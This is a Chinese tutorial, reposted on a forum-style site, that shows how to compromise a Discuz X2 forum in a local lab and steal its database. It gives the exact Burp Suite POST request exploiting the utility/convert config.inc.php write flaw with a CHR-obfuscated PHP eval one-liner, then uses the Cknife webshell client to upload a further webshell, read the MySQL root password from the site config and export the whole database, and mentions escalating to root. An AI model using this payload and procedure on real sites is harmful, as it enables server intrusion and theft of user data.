找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

只需一步,快速开始

实战|20分钟攻破DISCUZ论坛并盗取数据库

查看: 4488| 评论: 11| 发布者: mtfukankan

??? ??С
简介:主要内容:1.1 快速搭建discuz论坛1.2 使用kali下BurpSuite对discuz后台注入php木马1.3 使用Cknife“菜刀”上传webshell木马到网站1.4 使用Webshell查看mysql数据库密码并盗取数据库1.1 快速搭建discuz论坛1.1.1 攻 ...

主要内容:

1.1 快速搭建discuz论坛

1.2 使用kali下BurpSuite对discuz后台注入php木马

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.4 使用Webshell查看mysql数据库密码并盗取数据库

1.1 快速搭建discuz论坛

1.1.1 攻击思路

想要拿下一台主机A的权限:

1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。

2、拿到对A有一定权限的身份。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权

3、传上去后,得到apache用户普通权限,再提权成root

1.1.2 快速构建实验环境

搭建一个LAMP环境。部署带有漏洞的discuz论坛

1、漏洞概述:

这漏洞出现在一个DZ X系列自带的转换工具里面。

漏洞路径:utility/convert/data/config.inc.php

漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。

触发漏洞过程:

1、在浏览器中访问打开 http://192.168.1.63/utility/convert/index.php

2、使用/utility/convert/index.php进行版本转换时,会自动创建utility/convert/data/config.inc.php文件。

3、config.inc.php文件没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序

utility [ju:?t?l?ti] 效用

渗透思路:



实战|20分钟攻破DISCUZ论坛并盗取数据库


2、在centos7虚拟机xuegod63上搭建LAMP环境

[root@xuegod63 ~]#yum-y install httpd mariadb-server mariadb php php-mysql

[root@xuegod63 ~]# systemctlstart httpd

[root@xuegod63 ~]# systemctlstart mariadb

设置mysql数据库root用户的密码:

[root@xuegod63 ~]#mysqladmin -u root password"123456"

[root@xuegod63 ~]# mysql -uroot -p123456

MariaDB [(none)]> exit

3、上传到Discuz_X2_SC_UTF8.zip到linux系统/root下

[root@xuegod63 ~]#unzip Discuz_X2_SC_UTF8.zip

[root@xuegod63 ~]#mv upload/* /var/www/html/

[root@xuegod63 ~]#mv utility/ /var/www/html/

[root@xuegod63 ~]#cd /var/www/html/

[root@xuegod63 html]#chown -R apache:apache uc_server/ data/ config/ uc_client/

[root@xuegod63 html]# chown apache:apacheutility/convert/data

[root@xuegod63html]# iptables -F #清空防火墙

4、浏览器输入http://192.168.1.63 安装配置discuz论坛


实战|20分钟攻破DISCUZ论坛并盗取数据库


实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库


到此discuz论坛安装完成了。

1.2 使用kali下BurpSuite对discuz后台注入php木马

1.2.1 浏览器上开启代理模式进行抓包

以下操作在kali linux 上进行操作

浏览器打开设置页面



实战|20分钟攻破DISCUZ论坛并盗取数据库


我们把设置页面拉到最下面找到Network Proxy



实战|20分钟攻破DISCUZ论坛并盗取数据库


配置我们的代理设置



实战|20分钟攻破DISCUZ论坛并盗取数据库



1.2.1 在kali上使用burpsuite进行抓包

打开burpsuite。 brup [b?:p] 打嗝 ; suite [swi:t] 套件



实战|20分钟攻破DISCUZ论坛并盗取数据库


打开会有提示我们的jre 我们点击OK即可



实战|20分钟攻破DISCUZ论坛并盗取数据库


注:此窗口弹出的含意如下:

Burp Suite社区版

您的JRE似乎是来自Oracle公司的ll.0.3版本

Burp还没有在这个平台上进行全面测试,您可能会遇到问题。

experience [?k?sp??ri?ns] 经历


实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库


我们先关闭拦截,点一下 “intercept is on”,变为: “intercept is off”,因为我们要先访问我们的论坛。


点完后变为:



实战|20分钟攻破DISCUZ论坛并盗取数据库


intercept [??nt??sept] 拦截 截听

浏览器进行操作抓包

在kali上,打开注入漏洞的地方:http://192.168.1.63/utility/convert/



实战|20分钟攻破DISCUZ论坛并盗取数据库


然后我们回到burpsuite开启拦截



实战|20分钟攻破DISCUZ论坛并盗取数据库


我们再回到web界面点击任意版本的开始按钮



实战|20分钟攻破DISCUZ论坛并盗取数据库


回到burpsuite查看截取到浏览器数据包:如果之前抓取到了别的数据包,需要先点击forward按钮,把之前的http请求都放行了。 然后再访问我们需要访问的链接。



实战|20分钟攻破DISCUZ论坛并盗取数据库


右键点击空白处,选择send to repeater 。 repeater [r??pi:t?(r)] 中继器



实战|20分钟攻破DISCUZ论坛并盗取数据库


然后在Repeader查看信息:



实战|20分钟攻破DISCUZ论坛并盗取数据库


下面我们来修改这个数据包,我们把我们需要修改的内容使用rz命令传到kali方便我们复制粘贴。

修改第一行:


GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

为:注意 POST后面没有回车 ,这里是文本显示自动换行了。


POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes HTTP/1.1

注:这是一个php一句话木马加密后的内容。腾飞翻译后的内容为:


&newconfig[aaa%0a%0deval("$_POST[c];");//]=aaaa&submit=yes

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa

eval("$_POST[c];"););

扩展eval()函数:

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用。 evaluate [??v?ljue?t] 评价

eval("echo'hello world';"); 等同于下边的代码:

echo"hello world"; 在浏览器中都输出:hello world

修改完成后发送数据包



实战|20分钟攻破DISCUZ论坛并盗取数据库


查看执行结果:

登录xuegod63上,查看刚通过该漏洞注入的文件:


[root@xuegod63 html]# cat/var/www/html/utility/convert/data/config.inc.php

注:/var/www/html/utility/convert/data/config.inc.php这个文件原来的网站上没有的



实战|20分钟攻破DISCUZ论坛并盗取数据库


可以看到和我们修改提交的参数类似。而且多了很多^M符号。

扩展:^M符号

^M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r\n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^M。所以^M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除

%0a%0d等于\r\n

^M=\r换行符 只不过是windows里面的换行符罢了

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.3.1 在xuegod63上配置java环境

搭建java环境

[root@xuegod63~]#yum install -y java

然后查看java版本

[root@xuegod63~]# java -version

openjdk version"1.8.0_201"

OpenJDK RuntimeEnvironment (build 1.8.0_201-b09)

OpenJDK 64-BitServer VM (build 25.201-b09, mixed mode)

我们在centos上面使用rz命令上传java版本的菜刀和我们后面需要的webshell2.php

[root@xuegod63~]# rz

按住ctrl +鼠标左键可以多选,我们选择Cknife.jar和webshell2.php



实战|20分钟攻破DISCUZ论坛并盗取数据库


安装完成java以后我们再来启动菜刀程序,需要在图形界面执行此命令

[root@xuegod63~]#java -jar Cknife.jar



实战|20分钟攻破DISCUZ论坛并盗取数据库


排错:

如果打开程序后,看到是乱码的,我们更换一下皮肤即可解决乱码问题



实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库



1.3.2 使用菜刀连接discuz论坛上面的php后门程序

右键点击添加



实战|20分钟攻破DISCUZ论坛并盗取数据库



路径:http://192.168.1.63/utility/convert/data/config.inc.php

密码:c



实战|20分钟攻破DISCUZ论坛并盗取数据库


双击点开我们添加的地址



实战|20分钟攻破DISCUZ论坛并盗取数据库


已经可以进入网站目录



实战|20分钟攻破DISCUZ论坛并盗取数据库



1.3.3 上传功能更强大的木马文件webshell2.php

注:这里需要上传到apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data目录下。


实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库


1.3.4 任意机器访问我们的webshell2.php木马文件

浏览器输入http://192.168.1.63/utility/convert/data/webshell2.php 输入密码:xuegod



实战|20分钟攻破DISCUZ论坛并盗取数据库


成功进入webshell


1.4 使用Webshell查看mysql数据库密码并盗取数据库

1.4.1 分析配置文件获取数据库密码

获取mysql密码: 进到 /var/www/html/config/

获取到root用户和密码



实战|20分钟攻破DISCUZ论坛并盗取数据库


1.4.2 导出数据库文件


实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库


选中自己想下载的软件包,导出数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库



保存好这个地址:/var/www/html/utility/convert/data/192.168.1.63_MySQL.sql



实战|20分钟攻破DISCUZ论坛并盗取数据库



1.4.3 下载数据库到本地



实战|20分钟攻破DISCUZ论坛并盗取数据库


也可以使用菜刀下载,回到菜刀需要点击右键更新缓存。



实战|20分钟攻破DISCUZ论坛并盗取数据库



实战|20分钟攻破DISCUZ论坛并盗取数据库


到这里就完成了。如果入侵的系统版本较低,我们我们就可以使用apache用户进行提权操作。届时我们就是root了

总结:

1 快速搭建discuz论坛

2 使用kali linux对discuz后台注入恶意代码

3 使用“菜刀”上传webshell木马

4 快速分析定位discuz配置文件并拿下数据库


来学神学IT 早日成为技术大牛

点击“了解更多”免费学习↓↓↓


本文仅代表作者个人观点,不代表SEO研究协会网官方发声,对观点有疑义请先联系作者本人进行修改,若内容非法请联系平台管理员,邮箱cxb5918@163.com。更多相关资讯,请到SEO研究协会网www.seoxiehui.cn学习互联网营销技术请到巨推学院www.jutuiedu.com。

鸡蛋

鲜花

握手

雷人

路过
已有 11 人参与

会员评论

推荐阅读

    2020-02-29 05:18
  • 作者:yxp心平气和

    济南槐荫消防做客区教体局开展网络消防安全培训活动

    人民网-山东频道新冠肺炎疫情以来,市民居家防疫,因使用酒精消毒不当造成火灾事故频频发生,槐荫消防救援大队积极谋思路,想点子,充分利用网络平台覆盖面广,交互性强等特点,联合区教体局在官方网络平台为全区中

  • 2020-02-29 05:13
  • 作者:水中月牙

    Go testing.common公共类源码剖析

    简介我们知道单元测试函数需要传递一个testing.T类型的参数,而性能测试函数需要传递一个testing.B类型的参数,该参数可用于控制测试的流程,比如标记测试失败等。testing.T和testing.B属于testing包中的两个数据类

  • 2020-02-29 05:12
  • 作者:林羽凡

    Shell脚本100例:45 监控Nginx进程的脚本

    Nginx负载均衡服务器上监控Nginx进程的脚本企业负载均衡层如果用到Nginx+Keepalived架构,而Keepalived无法进行Nginx服务的实时切换,所以这里用了一个监控脚本check_nginx_pid.sh,每隔5秒就监控一次Nginx的运行状

  • 2020-02-29 05:10
  • 作者:qetula

    浙江省疾控中心发布学校新冠肺炎防控技术方案

    26日,浙江省疾控中心发布学校新冠肺炎防控技术方案: 【免责声明】本文仅代表作者或发布者个人观点,不代表SEO研究协会网(www.seoxiehui.cn)及其所属公司官方发声,对文章观点有疑义请先联系作者或发布者本人修改

  • 2020-02-29 05:06
  • 作者:xingqinghh

    还记得那些被封的快手大网红吗?他们的现状如何呢

    曾经的网红一哥天佑因直播的时候详细的描述了吸毒过称被焦点访谈点名批评,国家网信办根据《网络安全法》《互联网新闻信息服务管理规定》《互联网直播服务管理规定》等法律法规,同工信部关停下架蜜汁直播等10家违规

  • 2020-02-29 05:05
  • 作者:tianshanqidiao

    名著精选电子书打包下载(持续更新)

    高尔基说过:书籍是人类进步的阶梯;列夫·托尔斯泰说过:理想的书籍是智慧的钥匙;莎士比亚曾经说过:生活里没有书籍,就好像没有阳光;智慧里没有书籍,就好像鸟儿没有翅膀。古今中外,多少名人大家以他们的实际行

  • 2020-02-29 05:05
  • 作者:quiet

    必看,企业如何选择OA系统?

    相比其他的信息化领域,OA的历史可谓“悠久”,甚至可以追溯到企业信息化建设的起步阶段。如今世界是信息爆炸的知识经济统治的时代,在这种情况下结合技术的各种进步所产生的OA办公系统已与十几年前的OA发生了很大的

  • 2020-02-29 05:04
  • 作者:seoluoke

    网速不好?这几款神器APP让你对家里网络了如指掌!

    Hello,大家好,我是荣耀机叫兽,一个不务正业、但专注华为和荣耀手机的搞机小编~叫兽相信,每个人每天都离不开网络,无论是家庭宽带还是公共WiFi,网速都是极为重要的一部分,那能够清晰地知道自己的网速如何就显得

  • 2020-02-29 05:02
  • 作者:子夜

    浙江人民出版社推出《抗疫心灵处方》,免费电子书即将上线

    钱江晚报·小时新闻通讯员 陈雯怡浙江人民出版社特别策划出版图书《抗疫心灵处方》,从应对危机、辨别谣言、珍惜健康、自助自强、承担责任等多个方面,为当前抗击疫情的人们提供人文关怀和心理疏导。《抗疫心灵处方

  • 2020-02-29 04:54
  • 作者:dfzk313

    这家常才够味,真的很好吃,一般不告诉别人!

    生爆盐煎肉材料:五花肉(偏瘦);蒜苗;辣椒;大头菜;豆豉;豆瓣酱;糖;植物油做法1、五花肉切薄片(可以冻一会儿再切)二荆条对半再对半切成长条,大头菜切片,豆豉斩碎。蒜苗切段2、锅里放一点点油,加入五花肉

文章排行

TOP ARTICLES

返回顶部